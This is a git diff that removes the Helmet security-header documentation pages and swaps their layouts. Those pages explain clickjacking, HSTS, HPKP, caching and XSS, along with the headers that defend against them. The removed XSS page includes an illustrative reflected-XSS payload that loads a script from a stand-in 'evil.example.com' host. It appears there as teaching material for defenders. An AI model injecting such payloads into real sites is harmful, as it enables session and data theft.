-- [Can I Use X-Frame-Options](http://caniuse.com/#feat=x-frame-options)
-- ["Google YOLO"](https://blog.innerht.ml/google-yolo/)
-
-The code
---------
-
-Helmet's Frameguard is a relatively simple middleware that will set the `X-Frame-Options` header to whatever you specify.
-
-You can use this module as part of Helmet:
-
-```javascript
-// Make sure you run "npm install helmet" to get the Helmet package.
-const helmet = require('helmet')
-
-app.use(helmet.frameguard({ action: 'sameorigin' }))
-```
-
-You can also use it as a standalone module:
-
-```javascript
-// Make sure you run "npm install frameguard" to get the Frameguard package.
-const frameguard = require('frameguard')
-
-app.use(frameguard({ action: 'deny' }))
-```
-
-Once you've required it, you can use it in your apps:
-
-```javascript
-// Don't allow me to be in ANY frames.
-// Sets "X-Frame-Options: DENY".
-app.use(frameguard({ action: 'deny' }))
-
-// Only let me be framed by people of the same origin.
-// Sets "X-Frame-Options: SAMEORIGIN".
-app.use(frameguard({ action: 'sameorigin' }))
-app.use(frameguard())  // defaults to sameorigin
-
-// Allow from a specific host.
-// Sets "X-Frame-Options: ALLOW-FROM http://example.com".
-// Note that browser support for this option is low!
-app.use(frameguard({
-  action: 'allow-from',
-  domain: 'http://example.com'
-}))
-```
-
-This header is included in the default Helmet bundle and it uses its default value, `SAMEORIGIN`.
diff --git a/docs/hide-powered-by/index.md b/docs/hide-powered-by/index.md
index e82c971..54aa0dd 100644
--- a/docs/hide-powered-by/index.md
+++ b/docs/hide-powered-by/index.md
@@ -1,63 +1,4 @@
 ---
-layout: page
-title: Hide Powered-By
+layout: gohome
 permalink: /docs/hide-powered-by/
 ---
-In short: The Hide Powered-By middleware removes the `X-Powered-By` header to make it slightly harder for attackers to see what potentially-vulnerable technology powers your site.
-
-The "attack"
-------------
-
-Hackers can exploit known vulnerabilities in Express and Node if they know you're using it. Express (and other web technologies like PHP) set an `X-Powered-By` header with every request, indicating what technology powers the server. Express, for example, sets this, which is a dead giveaway that your server is powered by Express.
-
-A hacker can use this information to their advantage. If they know of a vulnerability in Express or Node and they see your site is Express-powered, they can be more targeted.
-
-The fix
--------
-
-The fix is to simply remove the header.
-
-To be fair, if a determined hacker doesn't see this header, they won't suddenly give up. They could look for other clues to find out that you're using Node, or they could simply try a bunch of attacks and see if any of them work. Simply omitting this header doesn't mean that nobody can exploit vulnerabilities; it may slow them down slightly or deter a lazy hacker.
-
-There is also a slight performance benefit when removing this header because fewer bytes need to be sent.
-
-Read more:
-
-- ["Removing the header provides no security benefits"](https://github.com/expressjs/express/pull/2813#issuecomment-159270428)
-
-The code
---------
-
-This middleware is most useful when included in the default Helmet bundle, like this:
-
-```javascript
-const helmet = require('helmet')
-
-app.use(helmet())
-```
-
-If you are using each of Helmet's headers piece-by-piece, there's a better way to get this header's behavior with a feature built into Express:
-
-```javascript
-app.disable('x-powered-by')
-```
-
-If you still want to use this module, it's allowed. You can use it as part of Helmet:
-
-```javascript
-app.use(helmet.hidePoweredBy())
-```
-
-Or you can require the individual module:
-
-```javascript
-const hidePoweredBy = require('hide-powered-by')
-
-app.use(hidePoweredBy())
-```
-
-You can also *lie* in this header to throw a hacker off the scent. For example, to make it look like your site is powered by PHP:
-
-```javascript
-app.use(helmet.hidePoweredBy({ setTo: 'PHP 4.2.0' }))
-```
diff --git a/docs/hpkp/index.md b/docs/hpkp/index.md
index e51bb99..a2cc730 100644
--- a/docs/hpkp/index.md
+++ b/docs/hpkp/index.md
@@ -1,143 +1,4 @@
 ---
-layout: page
-title: HTTP Public Key Pinning
+layout: gohome
 permalink: /docs/hpkp/
 ---
-<div class="callout">
-  <strong>This middleware has been deprecated.</strong> It will be removed in Helmet 4. You can still read the documentation here but no new features will be added to the <code>hpkp</code> module.
-</div>
-
-In short: the HTTP Public Key Pinning module helps you set the `Public-Key-Pins` header to prevent person-in-the-middle attacks. **Usage of this header (and therefore this middleware) is not recommended.**
-
-**Be very careful when deploying this**—you can easily misuse this header and cause problems. [Chrome dropped support for HPKP citing risks of misuse.](https://www.chromestatus.com/feature/5903385005916160)
-
-The attack
-----------
-
-*This assumes you know how HTTPS works; you should have an understanding of certificate authorities and public keys. If you're not there yet, read ["How does SSL/TLS work?" on Information Security Stack Exchange](https://security.stackexchange.com/questions/20803/how-does-ssl-tls-work).*
-
-One of the main things HTTPS offers is proof of identity. If everything is working well, you'll know that you're talking to `example.com` and not some other site. This is done by checking `example.com`'s public keys against a certificate authority.
-
-Unfortunately, CAs can be compromised. This means that they can issue bogus certificates, which means that they could trick browsers—maybe `example.com` isn't authentic after all!
-
-If an attacker can trick your browser into thinking that an HTTPS site is legitimate, they can do all kinds of things. They can log into any account they can impersonate, for example. This means that they could read all of your email or steal all of your money!
-
-The header
-----------
-
-One way to mitigate this problem is to pin your site's public keys.
-
-The first time a user visits your site, they can see that you have some public keys pinned. They'll store these away. Then, on every subsequent visit, the user will make sure the public keys match the ones they stored. If they don't match, that could mean that a CA was compromised.
-
-You can pin headers with the `Public-Key-Pins` header. Here's an example header [from MDN](https://developer.mozilla.org/en-US/docs/Web/Security/Public_Key_Pinning) that pins two public keys for 60 days:
-
-```
-Public-Key-Pins: pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="; pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="; max-age=5184000
-```
-
-Your browser will store those for 60 days. If the public keys are ever mismatched with those SHA-256 hashes, your browser will assume things aren't correct.
-
-Note that Chrome no longer supports this header; it is simply ignored.
-
-Read more:
-
-- [Specification](https://timtaubert.de/blog/2014/10/http-public-key-pinning-explained/)
-- ["Public Key Pinning" on MDN](https://developer.mozilla.org/en-US/docs/Web/Security/Public_Key_Pinning)
-- ["HTTP Public-Key-Pinning explained"](https://timtaubert.de/blog/2014/10/http-public-key-pinning-explained/)
-
-The code
---------
-
-The HPKP module will set the `Public-Key-Pins` header.
-
-<div class="callout">
-  <strong>This middleware has been deprecated.</strong> It will be removed in Helmet 4.
-</div>
-
-**Warning: be very careful when using this**—you can easily make a mistake and cause problems. Chrome has dropped support for this.
-
-You can use this module as part of Helmet:
-
-```javascript
-// Make sure you run "npm install helmet" to get the Helmet package.
-const helmet = require('helmet')
-
-const ninetyDaysInSeconds = 7776000
-app.use(helmet.hpkp({
-  maxAge: ninetyDaysInSeconds,
-  sha256s: ['AbCdEf123=', 'ZyXwVu456=']
-}))
-```
-
-This header is not included in the default Helmet bundle.
-
-You can also use it as a standalone module:
-
-```javascript
-// Make sure you run "npm install hpkp" to get the hpkp package.
-const hpkp = require('hpkp')
-
-const ninetyDaysInSeconds = 7776000
-app.use(hpkp({
-  maxAge: ninetyDaysInSeconds,
-  sha256s: ['AbCdEf123=', 'ZyXwVu456=']
-}))
-```
-
-Don't let these get out of sync with your certs! It's also recommended to test your HPKP deployment in `reportOnly` mode, or alternatively, to use a very short `maxAge` until you're confident your deployment is correct.
-
-### Including subdomains
-
-You can append the `includeSubDomains` directive with an option of the same name.
-
-```javascript
-// Sets "Public-Key-Pins: ...; includeSubDomains"
-app.use(helmet.hpkp({
-  maxAge: ninetyDaysInSeconds,
-  sha256s: [/* ... */],
-  includeSubdomains: true
-}))
-```
-
-### Reporting
-
-You can specify a `report-uri` to which browsers will report violations.
-
-```javascript
-// Sets `Public-Key-Pins: ...; report-uri="https://example.com/hpkp-report"`
-app.use(helmet.hpkp({
-  maxAge: ninetyDaysInSeconds,
-  sha256s: [/* ... */],
-  reportUri: 'https://example.com/hpkp-report'
-}))
-```
-
-You can also switch to report-only mode, which sets the `Public-Key-Pins-Report-Only` header.
-
-```javascript
-// Sets the Public-Key-Pins-Report-Only header.
-app.use(helmet.hpkp({
-  maxAge: ninetyDaysInSeconds,
-  sha256s: [/* ... */],
-  reportUri: 'https://example.com/hpkp-report',
-  reportOnly: true
-}))
-```
-
-### Setting the header conditionally
-
-You can choose to set the header conditionally with the `setIf` option. This is a function that will be passed the request and response objects. It should return `true` if the header should be set and `false` otherwise.
-
-```javascript
-app.use(helmet.hpkp({
-  maxAge: ninetyDaysInSeconds,
-  sha256s: [/* ... */],
-  setIf: function (req, res) {
-    if (req.secure) {
-      return true
-    } else {
-      return false
-    }
-  }
-}))
-```
diff --git a/docs/hsts/index.md b/docs/hsts/index.md
index b71e3f6..61608db 100644
--- a/docs/hsts/index.md
+++ b/docs/hsts/index.md
@@ -1,110 +1,4 @@
 ---
-layout: page
-title: HSTS
+layout: gohome
 permalink: /docs/hsts/
 ---
-In short: this module sets the `Strict-Transport-Security` header to keep your users on HTTPS.
-
-The attack
-----------
-
-HTTPS, while not always perfect, is a secure protocol. HTTP, by contrast, is horrible. "Vanilla" HTTP users are vulnerable to person-in-the-middle attacks and nothing sent is encrypted. I like to think of insecure HTTP as "anything goes".
-
-If I want to hack you, I would much prefer you to be on HTTP over HTTPS.
-
-Read more:
-
-- ["HTTPS" on Wikipedia](https://en.wikipedia.org/wiki/HTTPS)
-- ["Web Security: Why You Should Always Use HTTPS" on Mashable](http://mashable.com/2011/05/31/https-web-security/)
-
-The header
-----------
-
-The `Strict-Transport-Security` HTTP header tells browsers to stick with HTTPS and never visit the insecure HTTP version. Once a browser sees this header, it will only visit the site over HTTPS for the next 60 days:
-
-```
-Strict-Transport-Security: max-age=5184000
-```
-
-Note that the header won't tell users on HTTP to *switch* to HTTPS, it will just tell HTTPS users to stick around. You can enforce HTTPS with the [express-enforces-ssl](https://github.com/aredo/express-enforces-ssl) module.
-
-Read more:
-
-- [Specification](https://tools.ietf.org/html/rfc6797)
-- ["HTTP Strict Transport Security" on MDN](https://developer.mozilla.org/en-US/docs/Web/Security/HTTP_strict_transport_security)
-- ["HTTP Strict Transport Security Cheat Sheet" on OWASP](https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet)
-- ["HTTP Strict Transport Security" on Wikpedia](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)
-
-The code
---------
-
-Helmet's HSTS is a relatively simple middleware that will set the `Strict-Transport-Security` header.
-
-You can use this module as part of Helmet:
-
-```javascript
-// Make sure you run "npm install helmet" to get the Helmet package.
-const helmet = require('helmet')
-
-// Sets "Strict-Transport-Security: max-age=5184000; includeSubDomains".
-const sixtyDaysInSeconds = 5184000
-app.use(helmet.hsts({
-  maxAge: sixtyDaysInSeconds
-}))
-```
-
-You can also use it as a standalone module:
-
-```javascript
-// Make sure you run "npm install hsts" to get the hsts package.
-const hsts = require('hsts')
-
-// Sets "Strict-Transport-Security: max-age=5184000; includeSubDomains".
-const sixtyDaysInSeconds = 5184000
-app.use(hsts({
-  maxAge: sixtyDaysInSeconds
-}))
-```
-
-### Including subdomains
-
-The `includeSubDomains` directive is included by default. To opt out, set the `includeSubDomains` option to `false`.
-
-```javascript
-// Sets "Strict-Transport-Security: max-age=5184000".
-app.use(helmet.hsts({
-  maxAge: sixtyDaysInSeconds,
-  includeSubDomains: false
-}))
-```
-
-### Setting the header conditionally
-
-This header will always be set because [the header is ignored in insecure HTTP](https://tools.ietf.org/html/rfc6797#section-8.1). You may wish to set it conditionally:
-
-```javascript
-const hstsMiddleware = helmet.hsts({ /* ... */ })
-
-app.use((req, res, next) {
-  if (req.secure) {
-    hstsMiddleware(req, res, next)
-  } else {
-    next()
-  }
-})
-```
-
-### Preloading HSTS in Chrome
-
-Some browsers let you submit your site's HSTS to be baked into the browser. You can add `preload` to the header with the following code. You can check your eligibility and submit your site at [hstspreload.org](https://hstspreload.org/).
-
-```javascript
-app.use(helmet.hsts({
-  // Must be at least 1 year to be approved
-  maxAge: 31536000,
-
-  // Must be enabled to be approved
-  includeSubDomains: true,
-  preload: true
-}))
-```
diff --git a/docs/ienoopen/index.md b/docs/ienoopen/index.md
index 9d5907c..d0ff2d8 100644
--- a/docs/ienoopen/index.md
+++ b/docs/ienoopen/index.md
@@ -1,51 +1,4 @@
 ---
-layout: page
-title: IE No Open
+layout: gohome
 permalink: /docs/ienoopen/
 ---
-In short: this middleware sets the `X-Download-Options` to prevent Internet Explorer from executing downloads in your site's context.
-
-The attack
-----------
-
-This attack only affects old versions of Internet Explorer.
-
-Some web applications will serve untrusted HTML for download. For example, you could allow users to upload and download HTML files.
-
-By default, old versions of Internet Explorer will allow you to open those HTML files in the context of your site, which means that an untrusted HTML page could start doing bad things in the context of your pages. For more, see [this MSDN blog post](https://blogs.msdn.microsoft.com/ie/2008/07/02/ie8-security-part-v-comprehensive-protection/).
-
-The header
-----------
-
-The `X-Download-Options` header can be set to `noopen`. This will prevent old versions of Internet Explorer from allowing malicious HTML downloads to be executed in the context of your site.
-
-Read more:
-
-- ["IE8 Security Part V: Comprehensive Protection" on MSDN](https://blogs.msdn.microsoft.com/ie/2008/07/02/ie8-security-part-v-comprehensive-protection/)
-
-The code
---------
-
-Helmet's `ieNoOpen` is a relatively simple middleware that will set the `X-Download-Options` header to `noopen`.
-
-You can use this module as part of Helmet:
-
-```javascript
-// Make sure you run "npm install helmet" to get the Helmet package.
-const helmet = require('helmet')
-
-// Sets "X-Download-Options: noopen".
-app.use(helmet.ieNoOpen())
-```
-
-You can also use it as a standalone module:
-
-```javascript
-// Make sure you run "npm install ienoopen" to get the ienoopen package.
-const ieNoOpen = require('ienoopen')
-
-// Sets "X-Download-Options: noopen".
-app.use(ieNoOpen())
-```
-
-This header is included in the default Helmet bundle.
diff --git a/docs/index.md b/docs/index.md
index 5a4a15e..d771d11 100644
--- a/docs/index.md
+++ b/docs/index.md
@@ -1,64 +1,4 @@
 ---
-layout: page
-title: Docs
+layout: gohome
 permalink: /docs/
 ---
-Helmet is a collection of 12 middleware functions to help set some HTTP response headers.
-
-First, run `npm install helmet --save` for your app. Then, in an Express (or Connect) app:
-
-```js
-const express = require('express')
-const helmet = require('helmet')
-
-const app = express()
-
-app.use(helmet())
-
-// ...
-```
-
-It's best to `use` Helmet early in your middleware stack so that its headers are sure to be set.
-
-You can also use its pieces individually:
-
-```js
-app.use(helmet.frameguard())
-app.use(helmet.ieNoOpen())
-```
-
-You can disable a middleware that's normally enabled by default. This will disable `frameguard` but include the other defaults.
-
-```js
-app.use(helmet({
-  frameguard: false
-}))
-```
-
-You can also set options for a middleware. Setting options like this will *always* include the middleware, whether or not it's a default.
-
-```js
-app.use(helmet({
-  frameguard: {
-    action: 'deny'
-  }
-}))
-```
-
-*If you're using Express 3, make sure these middlewares are listed before `app.router`.*
-
-Visit each module's page to learn more.
-
-| Module | Included by default? |
-|---|---|
-| [contentSecurityPolicy](csp) for setting Content Security Policy |  |
-| [dnsPrefetchControl](dns-prefetch-control) controls browser DNS prefetching | ✓ |
-| [expectCt](expect-ct) for handling Certificate Transparency |  |
-| [frameguard](frameguard) to prevent clickjacking | ✓ |
-| [hidePoweredBy](hide-powered-by) to remove the X-Powered-By header | ✓ |
-| [hsts](hsts) for HTTP Strict Transport Security | ✓ |
-| [ieNoOpen](ienoopen) sets X-Download-Options for IE8+ | ✓ |
-| [noSniff](dont-sniff-mimetype) to keep clients from sniffing the MIME type | ✓ |
-| [permittedCrossDomainPolicies](crossdomain) for handling Adobe products' crossdomain requests |  |
-| [referrerPolicy](referrer-policy) to hide the Referer header |  |
-| [xssFilter](xss-filter) adds some small XSS protections | ✓ |
diff --git a/docs/nocache/index.md b/docs/nocache/index.md
index 7c30b10..22868d4 100644
--- a/docs/nocache/index.md
+++ b/docs/nocache/index.md
@@ -1,51 +1,4 @@
 ---
-layout: page
-title: No Cache
+layout: gohome
 permalink: /docs/nocache/
 ---
-<div class="callout">
-  <strong>This middleware has been deprecated.</strong> It will be removed in Helmet 4. You can still read the documentation here.
-</div>
-In short: the `nocache` middleware aims to disable browser caching by setting several headers.
-
-The "attack"
-------------
-
-This module doesn't exactly protect a specific attack. It prevents users from getting cached versions of your files (like old JavaScript).
-
-For example, imagine you have a front-end web app that serves JavaScript. One day, you discover that one of your JavaScript libraries has a vulnerability, so you upgrade it and update your site. Unfortunately, there are some cases where users can get *old*, cached versions of your code, which might still have the vulnerability.
-
-Caching has lots of benefits, but it can cause users to get stale versions.
-
-The headers
------------
-
-This module deals with four caching headers.
-
-1. `Cache-Control` is a header that has many directives. For example, `Cache-Control: max-age=864000` will tell browsers to cache the response for 10 days. In those 10 days, browsers will pull from their caches. Setting this header to `Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate` will obliterate caching, as far as this header is concerned.
-2. `Surrogate-Control` is another header that CDNs respect. You can use it to tell intermediate caches to eschew caching.
-3. `Pragma` is a legacy HTTP header. Setting `Pragma: no-cache` will tell supported browsers to stop caching the response. It has fewer features than `Cache-Control` but it can better support old browsers.
-4. `Expires` specifies when the content should be considered out of date, or expired. Setting this to `0` will tell browsers the content expires immediately. In other words, they shouldn't cache it.
-
-Absent from this list is the [ETag header](https://en.wikipedia.org/wiki/HTTP_ETag), which is a pretty safe caching mechanism.
-
-Read more:
-
-* [Cache-Control RFC](https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9)
-* [Pragma RFC](https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.32)
-* ["Cache control tutorial" on Fastly's documentation](https://docs.fastly.com/guides/tutorials/cache-control-tutorial)
-* ["HTTP Caching" on Google Developers](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching)
-
-The code
---------
-
-`nocache` is a relatively simple middleware that will set the four HTTP headers noted above: `Cache-Control`, `Surrogate-Control`, `Pragma`, and `Expires`.
-
-```javascript
-// Make sure you run "npm install nocache" to get the nocache package.
-const noCache = require('nocache')
-
-app.use(noCache())
-```
-
-This header is *not* included in the default Helmet bundle, and will be removed in future versions of Helmet.
diff --git a/docs/referrer-policy/index.md b/docs/referrer-policy/index.md
index 5c75196..cfe4eba 100644
--- a/docs/referrer-policy/index.md
+++ b/docs/referrer-policy/index.md
@@ -1,89 +1,4 @@
 ---
-layout: page
-title: Referrer Policy
+layout: gohome
 permalink: /docs/referrer-policy/
 ---
-In short: the Referrer Policy module can control the behavior of the `Referer` header by setting the `Referrer-Policy` header.
-
-The attack
-----------
-
-The [`Referer` HTTP header](https://en.wikipedia.org/wiki/HTTP_referer) is typically set by web browsers to tell a server where it's coming from. For example, if you click a link on `example.com/index.html` that takes you to `wikipedia.org`, Wikipedia's servers will see `Referer: example.com`.
-
-This can have privacy implications—websites can see where users are coming from.
-
-Read more:
-
-- [Referer header specification](https://tools.ietf.org/html/rfc7231#section-5.5.2)
-- ["HTTP referer" on Wikipedia](https://en.wikipedia.org/wiki/HTTP_referer)
-
-The header
-----------
-
-The new [`Referrer-Policy` HTTP header](https://www.w3.org/TR/referrer-policy/#referrer-policy-header) lets authors control how browsers set the `Referer` header.
-
-For example, when supported browsers see this header, they will set no `Referer` header at all:
-
-```
-Referrer-Policy: no-referrer
-```
-
-There are other directives, too. `same-origin`, for example, will only send the `Referer` header for pages on the same origin.
-
-```
-Referrer-Policy: same-origin
-```
-
-You can see the full list of directives on [the specification](https://www.w3.org/TR/referrer-policy/#referrer-policies).
-
-Browser support for this header is mixed.
-
-Read more:
-
-- [Referrer-Policy specification](https://www.w3.org/TR/referrer-policy/#referrer-policy-header)
-- [Can I Use Referrer Policy](http://caniuse.com/#feat=referrer-policy)
-
-The code
---------
-
-Helmet's Referrer Policy module is a relatively simple middleware that will set the `Referrer-Policy` header.
-
-You can use this module as part of Helmet:
-
-```javascript
-// Make sure you run "npm install helmet" to get the Helmet package.
-const helmet = require('helmet')
-
-// Sets "Referrer-Policy: same-origin".
-app.use(helmet.referrerPolicy({ policy: 'same-origin' }))
-```
-
-You can also use it as a standalone module:
-
-```javascript
-// Make sure you run "npm install referrer-policy" to get the referrer-policy package.
-const referrerPolicy = require('referrer-policy')
-
-// Sets "Referrer-Policy: no-referrer".
-app.use(referrerPolicy({ policy: 'no-referrer' }))
-```
-
-Once you've required it, you can use it in your apps:
-
-```javascript
-// Sets "Referrer-Policy: same-origin".
-app.use(helmet.referrerPolicy({ policy: 'same-origin' }))
-
-// Sets "Referrer-Policy: unsafe-url".
-app.use(helmet.referrerPolicy({ policy: 'unsafe-url' }))
-
-// Sets "Referrer-Policy: no-referrer,unsafe-url"
-app.use(helmet.referrerPolicy({
-  policy: ['no-referrer', 'unsafe-url']
-}))
-
-// Sets "Referrer-Policy: no-referrer".
-app.use(helmet.referrerPolicy())
-```
-
-This header is not included in the default Helmet bundle.
diff --git a/docs/xss-filter/index.md b/docs/xss-filter/index.md
index 029adce..7b51023 100644
--- a/docs/xss-filter/index.md
+++ b/docs/xss-filter/index.md
@@ -1,107 +1,4 @@
 ---
-layout: page
-title: XSS Filter
+layout: gohome
 permalink: /docs/xss-filter/
 ---
-In short: the `xssFilter` middleware sets the `X-XSS-Protection` header to prevent reflected XSS attacks.
-
-The attack
-----------
-
-Cross-site scripting, abbreviated to "XSS", is a way attackers can take over webpages. The goal of an XSS attack is to gain control of JavaScript in the victim's browser. Once a hacker has done that, there's a lot of nasty stuff they can do: log your actions, impersonate you, steal your authentication cookies, and much more.
-
-XSS is a multifaceted beast and we won't learn everything about it here. The main takeaway: if someone can run JavaScript on your page, they can attack your users and do a lot of bad things. We want to prevent it!
-
-One kind of XSS is called "Reflected XSS". Typically, it works by setting a query string which is put directly into the HTML. Putting JavaScript in the query string can let an attacker execute their JavaScript just by giving someone a malicious query string.
-
-For example, let's say you run a search engine called Goober. Every time you do a search, it displays your search terms right above your results. For example, let's say we've searched for "javascript jokes".
-
-When you do a search, your search terms also appear in your query string. The full URL might look something like this:
-
-```
-https://goober.example.com/search?query=javascript+jokes
-```
-
-The search results might look like the screenshot below. Notice how the text appears right on the page:
-
-![Screenshot of normal Goober search](xss-filter-ok.png)
-
-What if we could search for something like `<script src="http://evil.example.com/steal-data.js"></script>`? That URL would look like this:
-
-```
-https://goober.example.com/search?query=<script%20src="http://evil.example.com/steal-data.js"></script>
-```
-
-And here's how it would appear on your page:
-
-![Screenshot of malicious Goober search](xss-filter-malicious.png)
-
-Suddenly, a malicious JavaScript file was executed just because you visited a URL! That's not good.
-
-Read more:
-
-- [Guide to understanding XSS](http://www.securesolutions.no/xss-explained/)
-- [Cross-site Scripting (XSS)](https://www.owasp.org/index.php/XSS)
-- [What is Reflected XSS?](http://security.stackexchange.com/q/65142)
-- [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)
-
-The header
-----------
-
-To be very clear: *this header does not protect you from XSS attacks much*. It protects against a very particular kind of XSS, and other mitigation measures are far better. This header provides a quick win and basic protection, but this header does not save you from XSS attacks.
-
-It's relatively easy for browsers to detect simple reflected XSS. In the example above, browsers could choose not to execute the JavaScript inside a `<script>` tag if it matches what's in the query string. Some browsers do this detection by default, but some don't. To make these browsers check for this simple case, you can set the `X-XSS-Protection` header to `1; mode=block`.
-
-This tells browsers to detect and block reflected XSS.
-
-This header causes some *even worse* security vulnerabilities in older versions of Internet Explorer, so it's wise to disable it there.
-
-- ["Controlling the XSS Filter" on MSDN](http://blogs.msdn.com/b/ieinternals/archive/2011/01/31/controlling-the-internet-explorer-xss-filter-with-the-x-xss-protection-http-header.aspx)
-- ["IE's XSS Filter Creates XSS Vulnerabilities"](http://hackademix.net/2009/11/21/ies-xss-filter-creates-xss-vulnerabilities/)
-- ["XSS Filter Script Handling Vulnerability - CVE-2009-4074"](https://technet.microsoft.com/library/security/ms10-002#XSS%20Filter%20Script%20Handling%20Vulnerability%20-%20CVE-2009-4074)
-
-The code
---------
-
-Helmet's `xssFilter` is a relatively simple middleware that will set the `X-XSS-Protection` header. On most browsers, it will set it to `1; mode=block`. On old Internet Explorer versions, it will set it to `0` to disable it.
-
-You can use this module as part of Helmet:
-
-```javascript
-// Make sure you run "npm install helmet" to get the Helmet package.
-const helmet = require('helmet')
-
-// Sets "X-XSS-Protection: 1; mode=block".
-app.use(helmet.xssFilter())
-```
-
-You can also use it as a standalone module:
-
-```javascript
-// Make sure you run "npm install x-xss-protection" to get this package.
-const xssFilter = require('x-xss-protection')
-
-// Sets "X-XSS-Protection: 1; mode=block".
-app.use(xssFilter())
-```
-
-To force the header to be set to `1; mode=block` on all versions of IE, add the option:
-
-```javascript
-app.use(xssFilter({ setOnOldIE: true }))
-// This has some security problems for old IE!
-```
-
-You can also optionally configure a report URI, though the flag is [specific to Chrome-based browsers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection). This option will report the violation to the specified URI:
-
-```javascript
-app.use(xssFilter({ reportUri: '/report-xss-violation' }))
-```
-
-To remove `mode=block` from the header, which isn't recommended, set the `mode` option to `null`:
-
-```javascript
-app.use(xssFilter({ mode: null }))
-```
-
-This header is included in the default Helmet bundle.